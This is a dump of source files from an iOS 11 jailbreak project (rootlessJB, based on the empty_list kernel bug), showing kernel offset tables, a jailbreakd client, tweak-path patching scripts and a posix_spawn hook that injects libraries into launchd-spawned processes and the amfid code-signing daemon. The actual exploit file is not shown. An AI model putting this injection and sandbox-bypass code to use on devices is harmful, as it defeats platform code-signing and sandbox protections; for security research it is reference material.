63 | NSString *reallaunchctl = [NSString stringWithFormat:@"%@/launchctl_", [[NSBundle mainBundle] bundlePath]];
64 |
65 | int rv = posix_spawn(&pd, [reallaunchctl UTF8String], NULL, &attr, argv, envp);
66 |
67 | struct JAILBREAKD_ENTITLE_PID entitlePacket;
68 | entitlePacket.Pid = pd;
69 | entitlePacket.Command = JAILBREAKD_COMMAND_PLATFORMIZE;
70 |
71 | memcpy(buf, &entitlePacket, sizeof(struct JAILBREAKD_ENTITLE_PID));
72 |
73 | serverlen = sizeof(serveraddr);
74 | n = sendto(sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID), 0, (const struct sockaddr *)&serveraddr, serverlen);
75 | if (n < 0) {
76 | printf("Error in sendto\n");
77 | return -1;
78 | }
79 |
80 | kill(pd, SIGCONT); //continue
81 |
82 | int a;
83 | waitpid(pd, &a, 0);
84 |
85 | return rv;
86 | }
87 |
--------------------------------------------------------------------------------
/empty_list/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // multi_path
4 | //
5 | // Created by Ian Beer on 5/28/18.
6 | // Copyright © 2018 Ian Beer. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "AppDelegate.h"
11 |
12 | int main(int argc, char * argv[]) {
13 | @autoreleasepool {
14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/empty_list/multi_path.entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.developer.networking.multipath
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/empty_list/offsets.h:
--------------------------------------------------------------------------------
1 | #ifndef offsets_h
2 | #define offsets_h
3 |
4 | enum kstruct_offset {
5 | /* struct task */
6 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
7 | KSTRUCT_OFFSET_TASK_REF_COUNT,
8 | KSTRUCT_OFFSET_TASK_ACTIVE,
9 | KSTRUCT_OFFSET_TASK_VM_MAP,
10 | KSTRUCT_OFFSET_TASK_NEXT,
11 | KSTRUCT_OFFSET_TASK_PREV,
12 | KSTRUCT_OFFSET_TASK_ITK_SPACE,
13 | KSTRUCT_OFFSET_TASK_BSD_INFO,
14 |
15 | /* struct ipc_port */
16 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
17 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
18 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
19 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
20 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
21 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
22 | KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
23 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
24 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
25 |
26 | /* struct proc */
27 | KSTRUCT_OFFSET_PROC_PID,
28 | KSTRUCT_OFFSET_PROC_P_FD,
29 |
30 | /* struct filedesc */
31 | KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
32 |
33 | /* struct fileproc */
34 | KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
35 |
36 | /* struct fileglob */
37 | KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
38 |
39 | /* struct socket */
40 | KSTRUCT_OFFSET_SOCKET_SO_PCB,
41 |
42 | /* struct pipe */
43 | KSTRUCT_OFFSET_PIPE_BUFFER,
44 |
45 | /* struct ipc_space */
46 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
47 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
48 |
49 | KFREE_ADDR_OFFSET,
50 | };
51 |
52 | int koffset(enum kstruct_offset offset);
53 | void offsets_init(void);
54 |
55 | #endif
56 |
--------------------------------------------------------------------------------
/empty_list/offsets.m:
--------------------------------------------------------------------------------
1 | #import
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #include "offsets.h"
10 |
11 | int* offsets = NULL;
12 |
13 | int kstruct_offsets_11_0[] = {
14 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
15 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
16 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
17 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
18 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT,
19 | 0x30, // KSTRUCT_OFFSET_TASK_PREV,
20 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
21 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
22 |
23 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
24 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
25 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
26 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
27 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
28 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
29 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
30 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
31 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
32 |
33 | 0x10, // KSTRUCT_OFFSET_PROC_PID,
34 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD
35 |
36 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
37 |
38 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
39 |
40 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
41 |
42 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
43 |
44 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
45 |
46 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
47 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
48 |
49 | 0x6c, // KFREE_ADDR_OFFSET
50 | };
51 |
52 | int kstruct_offsets_11_3[] = {
53 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
54 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
55 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
56 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
57 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT,
58 | 0x30, // KSTRUCT_OFFSET_TASK_PREV,
59 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
60 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
61 |
62 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
63 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
64 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
65 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
66 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
67 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
68 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
69 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
70 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
71 |
72 | 0x10, // KSTRUCT_OFFSET_PROC_PID,
73 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD
74 |
75 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
76 |
77 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
78 |
79 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
80 |
81 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
82 |
83 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
84 |
85 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
86 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
87 |
88 | 0x7c, // KFREE_ADDR_OFFSET
89 | };
90 |
91 | int koffset(enum kstruct_offset offset) {
92 | if (offsets == NULL) {
93 | printf("need to call offsets_init() prior to querying offsets\n");
94 | return 0;
95 | }
96 | return offsets[offset];
97 | }
98 |
99 |
100 | void offsets_init() {
101 | if (@available(iOS 11.4, *)) {
102 | printf("this bug is patched in iOS 11.4 and above\n");
103 | exit(EXIT_FAILURE);
104 | } else if (@available(iOS 11.3, *)) {
105 | printf("offsets selected for iOS 11.3 or above\n");
106 | offsets = kstruct_offsets_11_3;
107 | } else if (@available(iOS 11.0, *)) {
108 | printf("offsets selected for iOS 11.0 to 11.2.6\n");
109 | offsets = kstruct_offsets_11_0;
110 | } else {
111 | printf("iOS version too low, 11.0 required\n");
112 | exit(EXIT_FAILURE);
113 | }
114 | }
115 |
--------------------------------------------------------------------------------
/empty_list/patcher:
--------------------------------------------------------------------------------
1 | export LANG=C
2 |
3 | dpkg-deb -R $1 $2
4 |
5 | mkdir $2 2> /dev/null
6 |
7 | for i in $2/Library/MobileSubstrate/DynamicLibraries/*dylib
8 | do
9 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null
10 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null
11 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null
12 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null
13 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null
14 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null
15 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null
16 | ldid -S $i 2> /dev/null
17 | done
18 |
19 | for i in $2/usr/lib/*dylib
20 | do
21 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null
22 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null
23 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null
24 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null
25 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null
26 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null
27 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null
28 | ldid -S $i 2> /dev/null
29 | done
30 |
31 |
32 | for i in $2/Library/PreferenceBundles/*/*
33 | do
34 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null
35 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null
36 | sed -i "" 's/%@\/var\/LIB\//\/%@\/Library\//g' $i 2> /dev/null
37 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null
38 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null
39 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null
40 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null
41 | ldid -S $i 2> /dev/null
42 | done
43 |
--------------------------------------------------------------------------------
/empty_list/pspawn_payload/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = pspawn_payload.dylib
2 | OUTDIR ?= bin
3 |
4 | CC = xcrun -sdk iphoneos cc -arch arm64
5 | # it is injected into trust cache by code
6 | # which only supports sha-256 signatures
7 | LDID = ldid2
8 | CFLAGS = -Wall
9 |
10 | .PHONY: all clean
11 |
12 | all: $(OUTDIR)/$(TARGET)
13 |
14 | DEBUG ?= 0
15 | ifeq ($(DEBUG), 1)
16 | CFLAGS += -DPSPAWN_PAYLOAD_DEBUG
17 | else
18 | CFLAGS += -O2
19 | endif
20 |
21 | $(OUTDIR):
22 | mkdir -p $(OUTDIR)
23 |
24 | $(OUTDIR)/$(TARGET): pspawn_payload.m fishhook.c common.c | $(OUTDIR)
25 | $(CC) -dynamiclib -o $@ $^ -framework Foundation $(CFLAGS)
26 | $(LDID) -S $@
27 |
28 | clean:
29 | rm -f $(OUTDIR)/$(TARGET)
30 |
--------------------------------------------------------------------------------
/empty_list/pspawn_payload/bin/pspawn_payload.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/pspawn_payload/bin/pspawn_payload.dylib
--------------------------------------------------------------------------------
/empty_list/pspawn_payload/common.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | #include "common.h"
17 |
18 | int file_exist(const char *filename) {
19 | struct stat buffer;
20 | int r = stat(filename, &buffer);
21 | return (r == 0);
22 | }
23 |
24 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID_AND_SIGCONT {
25 | uint8_t Command;
26 | int32_t PID;
27 | };
28 |
29 | int jailbreakd_sockfd = -1;
30 | struct sockaddr_in jailbreakd_serveraddr;
31 | int jailbreakd_serverlen;
32 | struct hostent *jailbreakd_server;
33 |
34 | void openjailbreakdsocket(){
35 | char *hostname = "127.0.0.1";
36 | int portno = 5;
37 |
38 | jailbreakd_sockfd = socket(AF_INET, SOCK_DGRAM, 0);
39 | if (jailbreakd_sockfd < 0)
40 | printf("ERROR opening socket\n");
41 |
42 | /* gethostbyname: get the server's DNS entry */
43 | jailbreakd_server = gethostbyname(hostname);
44 | if (jailbreakd_server == NULL) {
45 | fprintf(stderr,"ERROR, no such host as %s\n", hostname);
46 | exit(0);
47 | }
48 |
49 | /* build the server's Internet address */
50 | bzero((char *) &jailbreakd_serveraddr, sizeof(jailbreakd_serveraddr));
51 | jailbreakd_serveraddr.sin_family = AF_INET;
52 | bcopy((char *)jailbreakd_server->h_addr,
53 | (char *)&jailbreakd_serveraddr.sin_addr.s_addr, jailbreakd_server->h_length);
54 | jailbreakd_serveraddr.sin_port = htons(portno);
55 |
56 | jailbreakd_serverlen = sizeof(jailbreakd_serveraddr);
57 | }
58 |
59 | void calljailbreakd(pid_t PID, uint8_t command) {
60 | if (jailbreakd_sockfd == -1) {
61 | openjailbreakdsocket();
62 | }
63 |
64 | #define BUFSIZE 1024
65 |
66 | int n;
67 | char buf[BUFSIZE];
68 |
69 | /* get a message from the user */
70 | bzero(buf, BUFSIZE);
71 |
72 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT entitlePacket;
73 | entitlePacket.Command = command;
74 | entitlePacket.PID = PID;
75 |
76 | memcpy(buf, &entitlePacket, sizeof(entitlePacket));
77 |
78 | n = sendto(jailbreakd_sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT), 0, (const struct sockaddr *)&jailbreakd_serveraddr, jailbreakd_serverlen);
79 | if (n < 0)
80 | printf("Error in sendto\n");
81 | }
82 |
83 | void closejailbreakfd(void) {
84 | close(jailbreakd_sockfd);
85 | jailbreakd_sockfd = -1;
86 | }
87 |
88 |
--------------------------------------------------------------------------------
/empty_list/pspawn_payload/common.h:
--------------------------------------------------------------------------------
1 | #ifndef PAYLOADS_COMMON_H
2 | #define PAYLOADS_COMMON_H
3 |
4 | #include
5 |
6 | int file_exist(const char *filename);
7 |
8 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2
9 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_AFTER_DELAY 4
10 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 5
11 | #define JAILBREAKD_COMMAND_UNSANDBOX 7
12 |
13 | void calljailbreakd(pid_t PID, uint8_t command);
14 | void closejailbreakfd(void);
15 |
16 | #endif // PAYLOADS_COMMON_H
17 |
18 |
--------------------------------------------------------------------------------
/empty_list/pspawn_payload/pspawn_payload.m:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include "fishhook.h"
19 | #include "common.h"
20 |
21 | //#define PSPAWN_PAYLOAD_DEBUG
22 |
23 | #ifdef PSPAWN_PAYLOAD_DEBUG
24 | #define LAUNCHD_LOG_PATH "/var/log/pspawn_payload_launchd.log"
25 | // XXX multiple xpcproxies opening same file
26 | // XXX not closing logfile before spawn
27 | #define XPCPROXY_LOG_PATH "/var/log/pspawn_payload_xpcproxy.log"
28 | FILE *log_file;
29 | #define DEBUGLOG(fmt, args...)\
30 | do {\
31 | if (log_file == NULL) {\
32 | log_file = fopen((current_process == PROCESS_LAUNCHD) ? LAUNCHD_LOG_PATH : XPCPROXY_LOG_PATH, "a"); \
33 | if (log_file == NULL) break; \
34 | } \
35 | fprintf(log_file, fmt "\n", ##args); \
36 | fflush(log_file); \
37 | } while(0)
38 | #else
39 | #define DEBUGLOG(fmt, args...)
40 | #endif
41 |
42 | #define PSPAWN_PAYLOAD_DYLIB "/var/containers/Bundle/dylibs/pspawn_payload.dylib"
43 | #define AMFID_PAYLOAD_DYLIB "/var/containers/Bundle/dylibs/amfid_payload.dylib"
44 | #define SBINJECT_PAYLOAD_DYLIB "/var/ulb/TweakInject.dylib"
45 |
46 | // since this dylib should only be loaded into launchd and xpcproxy
47 | // it's safe to assume that we're in xpcproxy if getpid() != 1
48 | enum currentprocess {
49 | PROCESS_LAUNCHD,
50 | PROCESS_XPCPROXY,
51 | };
52 |
53 | int current_process = PROCESS_XPCPROXY;
54 |
55 | /*const char* xpcproxy_blacklist[] = {
56 | "com.apple.diagnosticd", // syslog
57 | "com.apple.ReportCrash", // crash reporting
58 | "MTLCompilerService", // ?_?
59 | "OTAPKIAssetTool", // h_h
60 | "cfprefsd", // o_o
61 | "jailbreakd", // don't inject into jbd since we'd have to call to it
62 | NULL
63 | };
64 | */
65 | const char* xpcproxy_whitelist[] = {
66 | "MobileSMS",// iMessage
67 | "mobilesms", //idk what which how so do both
68 | "springboard", // SB
69 | "SpringBoard",
70 | "mobiletimer", // Clock
71 | "MobileTimer",
72 | "Home", // Home
73 | "Preferences", //Settings
74 | "iSuperSU",
75 | "Filza",
76 | NULL
77 | };
78 |
79 | typedef int (*pspawn_t)(pid_t * pid, const char* path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char const* argv[], const char* envp[]);
80 |
81 | pspawn_t old_pspawn, old_pspawnp;
82 |
83 | int fake_posix_spawn_common(pid_t * pid, const char* path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char const* argv[], const char* envp[], pspawn_t old) {
84 | DEBUGLOG("We got called (fake_posix_spawn)! %s", path);
85 |
86 | const char *inject_me = NULL;
87 |
88 | if (current_process == PROCESS_LAUNCHD) {
89 | if (strcmp(path, "/usr/libexec/xpcproxy") == 0) {
90 | inject_me = NULL;
91 |
92 | const char* startd = argv[1];
93 | if (startd != NULL) {
94 | const char **whitelist = xpcproxy_whitelist;
95 |
96 | while (*whitelist) {
97 | if (strstr(startd, *whitelist)) {
98 | DEBUGLOG("xpcproxy for '%s' which is in whitelist, injecting", startd);
99 | inject_me = PSPAWN_PAYLOAD_DYLIB;
100 | break;
101 | }
102 | ++whitelist;
103 | }
104 | }
105 | }
106 | } else if (current_process == PROCESS_XPCPROXY) {
107 | // XXX inject both SBInject & amfid payload into amfid?
108 | // note: DYLD_INSERT_LIBRARIES=libfoo1.dylib:libfoo2.dylib
109 | if (strcmp(path, "/usr/libexec/amfid") == 0) {
110 | DEBUGLOG("Starting amfid -- special handling");
111 | inject_me = AMFID_PAYLOAD_DYLIB;
112 | } else {
113 | inject_me = SBINJECT_PAYLOAD_DYLIB;
114 | }
115 | }
116 |
117 | // XXX log different err on inject_me == NULL and nonexistent inject_me
118 | if (inject_me == NULL || !file_exist(inject_me)) {
119 | DEBUGLOG("Nothing to inject");
120 | return old(pid, path, file_actions, attrp, argv, envp);
121 | }
122 |
123 | DEBUGLOG("Injecting %s into %s", inject_me, path);
124 |
125 | #ifdef PSPAWN_PAYLOAD_DEBUG
126 | if (argv != NULL){
127 | DEBUGLOG("Args: ");
128 | const char** currentarg = argv;
129 | while (*currentarg != NULL){
130 | DEBUGLOG("\t%s", *currentarg);
131 | currentarg++;
132 | }
133 | }
134 | #endif
135 |
136 | int envcount = 0;
137 |
138 | if (envp != NULL){
139 | DEBUGLOG("Env: ");
140 | const char** currentenv = envp;
141 | while (*currentenv != NULL){
142 | DEBUGLOG("\t%s", *currentenv);
143 | if (strstr(*currentenv, "DYLD_INSERT_LIBRARIES") == NULL) {
144 | envcount++;
145 | }
146 | currentenv++;
147 | }
148 | }
149 |
150 | char const** newenvp = malloc((envcount+2) * sizeof(char **));
151 | int j = 0;
152 | for (int i = 0; i < envcount; i++){
153 | if (strstr(envp[j], "DYLD_INSERT_LIBRARIES") != NULL){
154 | continue;
155 | }
156 | newenvp[i] = envp[j];
157 | j++;
158 | }
159 |
160 | char *envp_inject = malloc(strlen("DYLD_INSERT_LIBRARIES=") + strlen(inject_me) + 1);
161 |
162 | envp_inject[0] = '\0';
163 | strcat(envp_inject, "DYLD_INSERT_LIBRARIES=");
164 | strcat(envp_inject, inject_me);
165 |
166 | newenvp[j] = envp_inject;
167 | newenvp[j+1] = NULL;
168 |
169 | #ifdef PSPAWN_PAYLOAD_DEBUG
170 | DEBUGLOG("New Env:");
171 | const char** currentenv = newenvp;
172 | while (*currentenv != NULL){
173 | DEBUGLOG("\t%s", *currentenv);
174 | currentenv++;
175 | }
176 | #endif
177 |
178 | posix_spawnattr_t attr;
179 |
180 | posix_spawnattr_t *newattrp = &attr;
181 |
182 | if (attrp) {
183 | newattrp = attrp;
184 | short flags;
185 | posix_spawnattr_getflags(attrp, &flags);
186 | flags |= POSIX_SPAWN_START_SUSPENDED;
187 | posix_spawnattr_setflags(attrp, flags);
188 | } else {
189 | posix_spawnattr_init(&attr);
190 | posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED);
191 | }
192 |
193 | int origret;
194 |
195 | if (current_process == PROCESS_XPCPROXY) {
196 | // dont leak logging fd into execd process
197 | #ifdef PSPAWN_PAYLOAD_DEBUG
198 | if (log_file != NULL) {
199 | fclose(log_file);
200 | log_file = NULL;
201 | }
202 | #endif
203 | calljailbreakd(getpid(), JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY);
204 |
205 | // dont leak jbd fd into execd process
206 | closejailbreakfd();
207 |
208 | origret = old(pid, path, file_actions, newattrp, argv, newenvp);
209 |
210 | } else {
211 | int gotpid;
212 | origret = old(&gotpid, path, file_actions, newattrp, argv, newenvp);
213 |
214 | if (origret == 0) {
215 | if (pid != NULL) *pid = gotpid;
216 | calljailbreakd(gotpid, JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT);
217 | }
218 | }
219 |
220 | return origret;
221 | }
222 |
223 |
224 | int fake_posix_spawn(pid_t * pid, const char* file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char* argv[], const char* envp[]) {
225 | return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawn);
226 | }
227 |
228 | int fake_posix_spawnp(pid_t * pid, const char* file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char* argv[], const char* envp[]) {
229 | return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawnp);
230 | }
231 |
232 |
233 | void rebind_pspawns(void) {
234 | struct rebinding rebindings[] = {
235 | {"posix_spawn", (void *)fake_posix_spawn, (void **)&old_pspawn},
236 | {"posix_spawnp", (void *)fake_posix_spawnp, (void **)&old_pspawnp},
237 | };
238 |
239 | rebind_symbols(rebindings, 2);
240 | }
241 |
242 | void* thd_func(void* arg){
243 | NSLog(@"In a new thread!");
244 | rebind_pspawns();
245 | return NULL;
246 | }
247 |
248 | __attribute__ ((constructor))
249 | static void ctor(void) {
250 | if (getpid() == 1) {
251 | current_process = PROCESS_LAUNCHD;
252 | pthread_t thd;
253 | pthread_create(&thd, NULL, thd_func, NULL);
254 | } else {
255 | current_process = PROCESS_XPCPROXY;
256 | rebind_pspawns();
257 | }
258 | }
259 |
--------------------------------------------------------------------------------
/empty_list/sploit.h:
--------------------------------------------------------------------------------
1 | #ifndef sploit_h
2 | #define sploit_h
3 |
4 | mach_port_t run(void);
5 |
6 | #endif
7 |
--------------------------------------------------------------------------------
/empty_list/tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/tar
--------------------------------------------------------------------------------
/empty_list/test:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/test
--------------------------------------------------------------------------------
/empty_list/tweaksupport.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/tweaksupport.tar
--------------------------------------------------------------------------------
/patcher:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | export LANG=C
4 | export LC_CTYPE=C
5 | export LC_ALL=C
6 |
7 | dpkg-deb -R $1 $2
8 |
9 | mkdir $2 2> /dev/null
10 |
11 | for i in $2/Library/MobileSubstrate/DynamicLibraries/*dylib
12 | do
13 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null
14 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null
15 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null
16 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null
17 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null
18 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null
19 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null
20 | ldid -S $i 2> /dev/null
21 | done
22 |
23 | for i in $2/usr/lib/*dylib
24 | do
25 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null
26 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null
27 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null
28 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null
29 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null
30 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null
31 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null
32 | ldid -S $i 2> /dev/null
33 | done
34 |
35 |
36 | for i in $2/Library/PreferenceBundles/*/*
37 | do
38 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null
39 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null
40 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null
41 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null
42 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null
43 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null
44 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null
45 | ldid -S $i 2> /dev/null
46 | done
--------------------------------------------------------------------------------
/rootlessJB.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/rootlessJB.ipa
--------------------------------------------------------------------------------